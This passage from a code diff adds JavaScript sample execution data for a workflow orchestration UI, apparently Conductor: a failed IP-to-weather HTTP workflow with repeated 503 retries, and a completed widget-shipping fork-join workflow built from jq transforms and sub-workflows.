invoke HTTP task due to: java.lang.Exception: 503 Service Unavailable: "\t\t \t\t\t\t\t\tApplication Error\t\t\t \t \t\t\t \t"', + }, + workflowTask: { + name: "Get_weather", + taskReferenceName: "get_weather_ref", + inputParameters: { + zip_code: "${get_IP_ref.output.response.body.zip}", + http_request: { + uri: "https://weatherdbi.herokuapp.com/data/weather/${get_IP_ref.output.response.body.zip}", + method: "GET", + connectionTimeOut: 2000, + readTimeOut: 2000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + loopOverTask: false, + queueWaitTime: 191671402, + }, + { + taskType: "HTTP", + status: "FAILED", + inputData: { + http_request: { + method: "GET", + readTimeOut: 2000, + uri: "https://weatherdbi.herokuapp.com/data/weather/600001", + connectionTimeOut: 2000, + }, + asyncComplete: false, + zip_code: "600001", + }, + referenceTaskName: "get_weather_ref", + retryCount: 3, + seq: 5, + correlationId: "", + pollCount: 1, + taskDefName: "Get_weather", + scheduledTime: 1648555014423, + startTime: 1648555019511, + endTime: 1648555019608, + updateTime: 1648555004025, + startDelayInSeconds: 5, + retriedTaskId: "3886076f-6b38-4ce5-a099-c648e07546f8", + retried: true, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "f5a7752d-f199-43f8-9758-6ec74540e6cb", + workflowType: "Stack_overflow_sequential_http", + taskId: "e7fb9cff-2a8d-4cc8-9cfe-764138980f21", + reasonForIncompletion: + 'Failed to invoke HTTP task due to: java.lang.Exception: 503 Service Unavailable: "\t\t \t\t\t\t\t\tApplication Error\t\t\t \t \t\t\t \t"', + }, + workflowTask: { + name: "Get_weather", + taskReferenceName: "get_weather_ref", + inputParameters: { + zip_code: "${get_IP_ref.output.response.body.zip}", + http_request: { + uri: "https://weatherdbi.herokuapp.com/data/weather/${get_IP_ref.output.response.body.zip}", + method: "GET", + connectionTimeOut: 2000, + readTimeOut: 2000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + loopOverTask: false, + queueWaitTime: 191671402, + }, + { + taskType: "HTTP", + status: "FAILED", + inputData: { + http_request: { + method: "GET", + readTimeOut: 2000, + uri: "https://weatherdbi.herokuapp.com/data/weather/600001", + connectionTimeOut: 2000, + }, + asyncComplete: false, + zip_code: "600001", + }, + referenceTaskName: "get_weather_ref", + retryCount: 4, + seq: 6, + correlationId: "", + pollCount: 1, + taskDefName: "Get_weather", + scheduledTime: 1648576362044, + startTime: 1648576362081, + endTime: 1648576362213, + updateTime: 1648576362039, + startDelayInSeconds: 5, + retriedTaskId: "e7fb9cff-2a8d-4cc8-9cfe-764138980f21", + retried: true, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "f5a7752d-f199-43f8-9758-6ec74540e6cb", + workflowType: "Stack_overflow_sequential_http", + taskId: "95c468e5-259d-4f4a-a9da-d1f6d48153ef", + reasonForIncompletion: + 'Failed to invoke HTTP task due to: java.lang.Exception: 503 Service Unavailable: "\t\t \t\t\t\t\t\tApplication Error\t\t\t \t \t\t\t \t"', + }, + workflowTask: { + name: "Get_weather", + taskReferenceName: "get_weather_ref", + inputParameters: { + zip_code: "${get_IP_ref.output.response.body.zip}", + http_request: { + uri: "https://weatherdbi.herokuapp.com/data/weather/${get_IP_ref.output.response.body.zip}", + method: "GET", + connectionTimeOut: 2000, + readTimeOut: 2000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + loopOverTask: false, + queueWaitTime: 37, + }, + { + taskType: "HTTP", + status: "FAILED", + inputData: { + http_request: { + method: "GET", + readTimeOut: 2000, + uri: "https://weatherdbi.herokuapp.com/data/weather/600001", + connectionTimeOut: 2000, + }, + asyncComplete: false, + zip_code: "600001", + }, + referenceTaskName: "get_weather_ref", + retryCount: 5, + seq: 7, + correlationId: "", + pollCount: 1, + taskDefName: "Get_weather", + scheduledTime: 1648585762469, + startTime: 1648585762599, + endTime: 1648585762712, + updateTime: 1648585762466, + startDelayInSeconds: 5, + retriedTaskId: "95c468e5-259d-4f4a-a9da-d1f6d48153ef", + retried: false, + executed: false, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "f5a7752d-f199-43f8-9758-6ec74540e6cb", + workflowType: "Stack_overflow_sequential_http", + taskId: "5c61b913-5883-4725-8d39-0edd3029cbaf", + reasonForIncompletion: + 'Failed to invoke HTTP task due to: java.lang.Exception: 503 Service Unavailable: "\t\t \t\t\t\t\t\tApplication Error\t\t\t \t \t\t\t \t"', + }, + workflowTask: { + name: "Get_weather", + taskReferenceName: "get_weather_ref", + inputParameters: { + zip_code: "${get_IP_ref.output.response.body.zip}", + http_request: { + uri: "https://weatherdbi.herokuapp.com/data/weather/${get_IP_ref.output.response.body.zip}", + method: "GET", + connectionTimeOut: 2000, + readTimeOut: 2000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + loopOverTask: false, + queueWaitTime: 130, + }, + ], + input: { + ipaddress: " 49.37.209.163", + }, + output: { + zipcode: "600001", + forecast: null, + }, + correlationId: "", + reasonForIncompletion: + 'Failed to invoke HTTP task due to: java.lang.Exception: 503 Service Unavailable: "\t\t \t\t\t\t\t\tApplication Error\t\t\t \t \t\t\t \t"', + taskToDomain: {}, + failedReferenceTaskNames: ["get_weather_ref"], + workflowDefinition: { + updateTime: 1647385959054, + name: "Stack_overflow_sequential_http", + description: + "Answering https://stackoverflow.com/questions/71370237/java-design-pattern-orchestration-workflow", + version: 1, + tasks: [ + { + name: "Get_IP", + taskReferenceName: "get_IP_ref", + inputParameters: { + http_request: { + uri: "http://ip-api.com/json/${workflow.input.ipaddress}?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,offset,isp,org,as,query", + method: "GET", + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1646667646103, + createdBy: "", + name: "Get_IP", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 3600, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + retryCount: 3, + }, + { + name: "Get_weather", + taskReferenceName: "get_weather_ref", + inputParameters: { + zip_code: "${get_IP_ref.output.response.body.zip}", + http_request: { + uri: "https://weatherdbi.herokuapp.com/data/weather/${get_IP_ref.output.response.body.zip}", + method: "GET", + connectionTimeOut: 2000, + readTimeOut: 2000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + inputParameters: [], + outputParameters: { + zipcode: "${get_IP_ref.output.response.body.zip}", + forecast: + "${get_weather_ref.output.response.body.currentConditions.comment}", + }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "example@email.com", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, + }, + priority: 0, + variables: {}, + lastRetriedTime: 1648585762439, + startTime: 1648555003451, + workflowName: "Stack_overflow_sequential_http", + workflowVersion: 1, +}; + +export const sampleExecutionWithForkJoin = { + ownerApp: "", + createTime: 1654516799948, + createdBy: "doug.sillars@orkes.io", + status: "COMPLETED", + endTime: 1654516826244, + workflowId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + tasks: [ + { + taskType: "JSON_JQ_TRANSFORM", + status: "COMPLETED", + inputData: { + input: [ + { + numberOfWidgets: "12", + name: "Bob McBobFace", + street: "21 Bob Lane", + city: "Bobville", + state: "OR", + zip: "53111", + }, + { + numberOfWidgets: "1", + name: "BobBobBob BobraAnn", + street: "1 Surf Street", + city: "Kokomo", + state: "FL", + zip: "53111", + }, + ], + queryExpression: ".[] |length", + }, + referenceTaskName: "jq_address_count_ref", + retryCount: 0, + seq: 1, + pollCount: 0, + taskDefName: "jq_address_count", + scheduledTime: 1654516799963, + startTime: 1654516799963, + endTime: 1654516799970, + updateTime: 1654516799970, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "30df1405-e590-11ec-99fe-ea3af9c7af2a", + callbackAfterSeconds: 0, + outputData: { + result: 2, + resultList: [2, 11], + }, + workflowTask: { + name: "jq_address_count", + taskReferenceName: "jq_address_count_ref", + inputParameters: { + input: "${workflow.input.addressList}", + queryExpression: ".[] |length", + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 0, + }, + { + taskType: "JSON_JQ_TRANSFORM", + status: "COMPLETED", + inputData: { + input: "{}", + queryExpression: + 'reduce range(0,2) as $f (.; .dynamicTasks[$f].subWorkflowParam.name = "Shipping_loop_workflow" | .dynamicTasks[$f].taskReferenceName = "shipping_loop_subworkflow_ref_\\($f)" | .dynamicTasks[$f].type = "SUB_WORKFLOW")', + }, + referenceTaskName: "jq_create_dynamictasks_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "jq_create_dynamictasks", + scheduledTime: 1654516799990, + startTime: 1654516799990, + endTime: 1654516799998, + updateTime: 1654516799998, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "30e332b6-e590-11ec-99fe-ea3af9c7af2a", + callbackAfterSeconds: 0, + outputData: { + result: { + input: "{}", + queryExpression: + 'reduce range(0,2) as $f (.; .dynamicTasks[$f].subWorkflowParam.name = "Shipping_loop_workflow" | .dynamicTasks[$f].taskReferenceName = "shipping_loop_subworkflow_ref_\\($f)" | .dynamicTasks[$f].type = "SUB_WORKFLOW")', + dynamicTasks: [ + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_0", + type: "SUB_WORKFLOW", + }, + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_1", + type: "SUB_WORKFLOW", + }, + ], + }, + resultList: [ + { + input: "{}", + queryExpression: + 'reduce range(0,2) as $f (.; .dynamicTasks[$f].subWorkflowParam.name = "Shipping_loop_workflow" | .dynamicTasks[$f].taskReferenceName = "shipping_loop_subworkflow_ref_\\($f)" | .dynamicTasks[$f].type = "SUB_WORKFLOW")', + dynamicTasks: [ + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_0", + type: "SUB_WORKFLOW", + }, + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_1", + type: "SUB_WORKFLOW", + }, + ], + }, + ], + }, + workflowTask: { + name: "jq_create_dynamictasks", + taskReferenceName: "jq_create_dynamictasks_ref", + inputParameters: { + input: "{}", + queryExpression: + 'reduce range(0,${jq_address_count_ref.output.result}) as $f (.; .dynamicTasks[$f].subWorkflowParam.name = "Shipping_loop_workflow" | .dynamicTasks[$f].taskReferenceName = "shipping_loop_subworkflow_ref_\\($f)" | .dynamicTasks[$f].type = "SUB_WORKFLOW")', + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 0, + }, + { + taskType: "JSON_JQ_TRANSFORM", + status: "COMPLETED", + inputData: { + input: "{}", + addresses: [ + { + numberOfWidgets: "12", + name: "Bob McBobFace", + street: "21 Bob Lane", + city: "Bobville", + state: "OR", + zip: "53111", + }, + { + numberOfWidgets: "1", + name: "BobBobBob BobraAnn", + street: "1 Surf Street", + city: "Kokomo", + state: "FL", + zip: "53111", + }, + ], + taskList: { + input: "{}", + queryExpression: + 'reduce range(0,2) as $f (.; .dynamicTasks[$f].subWorkflowParam.name = "Shipping_loop_workflow" | .dynamicTasks[$f].taskReferenceName = "shipping_loop_subworkflow_ref_\\($f)" | .dynamicTasks[$f].type = "SUB_WORKFLOW")', + dynamicTasks: [ + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_0", + type: "SUB_WORKFLOW", + }, + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_1", + type: "SUB_WORKFLOW", + }, + ], + }, + queryExpression: + 'reduce range(0,2) as $f (.; .dynamicTasksInput."shipping_loop_subworkflow_ref_\\($f)" = .addresses[$f])', + }, + referenceTaskName: "jq_create_dynamictasksParams_ref", + retryCount: 0, + seq: 3, + pollCount: 0, + taskDefName: "jq_create_dynamictaskParams", + scheduledTime: 1654516800029, + startTime: 1654516800029, + endTime: 1654516800037, + updateTime: 1654516800037, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "30e92627-e590-11ec-99fe-ea3af9c7af2a", + callbackAfterSeconds: 0, + outputData: { + result: { + input: "{}", + addresses: [ + { + numberOfWidgets: "12", + name: "Bob McBobFace", + street: "21 Bob Lane", + city: "Bobville", + state: "OR", + zip: "53111", + }, + { + numberOfWidgets: "1", + name: "BobBobBob BobraAnn", + street: "1 Surf Street", + city: "Kokomo", + state: "FL", + zip: "53111", + }, + ], + taskList: { + input: "{}", + queryExpression: + 'reduce range(0,2) as $f (.; .dynamicTasks[$f].subWorkflowParam.name = "Shipping_loop_workflow" | .dynamicTasks[$f].taskReferenceName = "shipping_loop_subworkflow_ref_\\($f)" | .dynamicTasks[$f].type = "SUB_WORKFLOW")', + dynamicTasks: [ + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_0", + type: "SUB_WORKFLOW", + }, + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_1", + type: "SUB_WORKFLOW", + }, + ], + }, + queryExpression: + 'reduce range(0,2) as $f (.; .dynamicTasksInput."shipping_loop_subworkflow_ref_\\($f)" = .addresses[$f])', + dynamicTasksInput: { + shipping_loop_subworkflow_ref_0: { + numberOfWidgets: "12", + name: "Bob McBobFace", + street: "21 Bob Lane", + city: "Bobville", + state: "OR", + zip: "53111", + }, + shipping_loop_subworkflow_ref_1: { + numberOfWidgets: "1", + name: "BobBobBob BobraAnn", + street: "1 Surf Street", + city: "Kokomo", + state: "FL", + zip: "53111", + }, + }, + }, + resultList: [ + { + input: "{}", + addresses: [ + { + numberOfWidgets: "12", + name: "Bob McBobFace", + street: "21 Bob Lane", + city: "Bobville", + state: "OR", + zip: "53111", + }, + { + numberOfWidgets: "1", + name: "BobBobBob BobraAnn", + street: "1 Surf Street", + city: "Kokomo", + state: "FL", + zip: "53111", + }, + ], + taskList: { + input: "{}", + queryExpression: + 'reduce range(0,2) as $f (.; .dynamicTasks[$f].subWorkflowParam.name = "Shipping_loop_workflow" | .dynamicTasks[$f].taskReferenceName = "shipping_loop_subworkflow_ref_\\($f)" | .dynamicTasks[$f].type = "SUB_WORKFLOW")', + dynamicTasks: [ + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_0", + type: "SUB_WORKFLOW", + }, + { + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + taskReferenceName: "shipping_loop_subworkflow_ref_1", + type: "SUB_WORKFLOW", + }, + ], + }, + queryExpression: + 'reduce range(0,2) as $f (.; .dynamicTasksInput."shipping_loop_subworkflow_ref_\\($f)" = .addresses[$f])', + dynamicTasksInput: { + shipping_loop_subworkflow_ref_0: { + numberOfWidgets: "12", + name: "Bob McBobFace", + street: "21 Bob Lane", + city: "Bobville", + state: "OR", + zip: "53111", + }, + shipping_loop_subworkflow_ref_1: { + numberOfWidgets: "1", + name: "BobBobBob BobraAnn", + street: "1 Surf Street", + city: "Kokomo", + state: "FL", + zip: "53111", + }, + }, + }, + ], + }, + workflowTask: { + name: "jq_create_dynamictaskParams", + taskReferenceName: "jq_create_dynamictasksParams_ref", + inputParameters: { + input: "{}", + addresses: "${workflow.input.addressList}", + taskList: "${jq_create_dynamictasks_ref.output.result}", + queryExpression: + 'reduce range(0,${jq_address_count_ref.output.result}) as $f (.; .dynamicTasksInput."shipping_loop_subworkflow_ref_\\($f)" = .addresses[$f])', + }, + type: "JSON_JQ_TRANSFORM", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 0, + }, + { + taskType: "FORK", + status: "COMPLETED", + inputData: { + forkedTaskDefs: [ + { + taskReferenceName: "shipping_loop_subworkflow_ref_0", + inputParameters: {}, + type: "SUB_WORKFLOW", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + taskReferenceName: "shipping_loop_subworkflow_ref_1", + inputParameters: {}, + type: "SUB_WORKFLOW", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + forkedTasks: [ + "shipping_loop_subworkflow_ref_0", + "shipping_loop_subworkflow_ref_1", + ], + }, + referenceTaskName: "shipping_dynamic_fork_ref", + retryCount: 0, + seq: 4, + pollCount: 0, + taskDefName: "FORK", + scheduledTime: 1654516800114, + startTime: 1654516800114, + endTime: 1654516800114, + updateTime: 1654516800175, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "30f5f768-e590-11ec-99fe-ea3af9c7af2a", + callbackAfterSeconds: 0, + outputData: {}, + workflowTask: { + name: "shipping_dynamic_fork", + taskReferenceName: "shipping_dynamic_fork_ref", + inputParameters: { + dynamicTasks: + "${jq_create_dynamictasks_ref.output.result.dynamicTasks}", + dynamicTasksInput: + "${jq_create_dynamictasksParams_ref.output.result.dynamicTasksInput}", + }, + type: "FORK_JOIN_DYNAMIC", + decisionCases: {}, + dynamicForkTasksParam: "dynamicTasks", + dynamicForkTasksInputParamName: "dynamicTasksInput", + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 0, + }, + { + taskType: "SUB_WORKFLOW", + status: "COMPLETED", + inputData: { + zip: "53111", + subWorkflowDefinition: null, + workflowInput: {}, + city: "Bobville", + subWorkflowTaskToDomain: null, + street: "21 Bob Lane", + subWorkflowName: "Shipping_loop_workflow", + name: "Bob McBobFace", + state: "OR", + subWorkflowVersion: 1, + numberOfWidgets: "12", + }, + referenceTaskName: "shipping_loop_subworkflow_ref_0", + retryCount: 0, + seq: 5, + pollCount: 1, + taskDefName: "SUB_WORKFLOW", + scheduledTime: 1654516800119, + startTime: 1654516800623, + endTime: 1654516813323, + updateTime: 1654516800671, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "30dcf124-e590-11ec-99fe-ea3af9c7af2a", + workflowType: "Bobs_widget_fulfillment", + taskId: "30f64589-e590-11ec-99fe-ea3af9c7af2a", + callbackAfterSeconds: 0, + outputData: { + subWorkflowId: "31443e81-e590-11ec-99fe-ea3af9c7af2a", + orderDetails: { + 1: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "81900100 68490647", + }, + }, + 2: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "75954032 76216878", + }, + }, + 3: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "52750497 19652062", + }, + }, + 4: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72896512 69020693", + }, + }, + 5: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "61473582 94684741", + }, + }, + 6: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "49293897 64849148", + }, + }, + 7: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "72669959 93938409", + }, + }, + 8: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "39018420 85980274", + }, + }, + 9: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "8274183 9267380", + }, + }, + 10: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "1884788 19309914", + }, + }, + 11: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "29288059 71566372", + }, + }, + 12: { + widget_shipping: { + fullAddress: "Bob McBobFace\n21 Bob Lane\nBobville, OR 53111", + trackingNumber: "44861411 88039618", + }, + }, + iteration: 12, + }, + }, + workflowTask: { + taskReferenceName: "shipping_loop_subworkflow_ref_0", + inputParameters: {}, + type: "SUB_WORKFLOW", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + subWorkflowParam: { + name: "Shipping_loop_workflow", + }, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subWorkflowId: "31443e81-e590-11ec-99fe-ea3af9c7af2a", + subworkflowChanged: false, + taskDefinition: null, + loopOverTask: false, + queueWaitTime: 504, + }, + { + taskType: "SUB_WORKFLOW", + status: "COMPLETED", + inputData: { + zip: "53111", + subWorkflowDefinition: null, + workflowInput: {}, + city: "Kokomo", + subWorkflowTaskToDomain: null, + street: "1 Surf Street", + subWorkflowName: "Shipping_loop_workflow", + name: "BobBobBob BobraAnn", + state: "FL", + subWorkflowVersion: 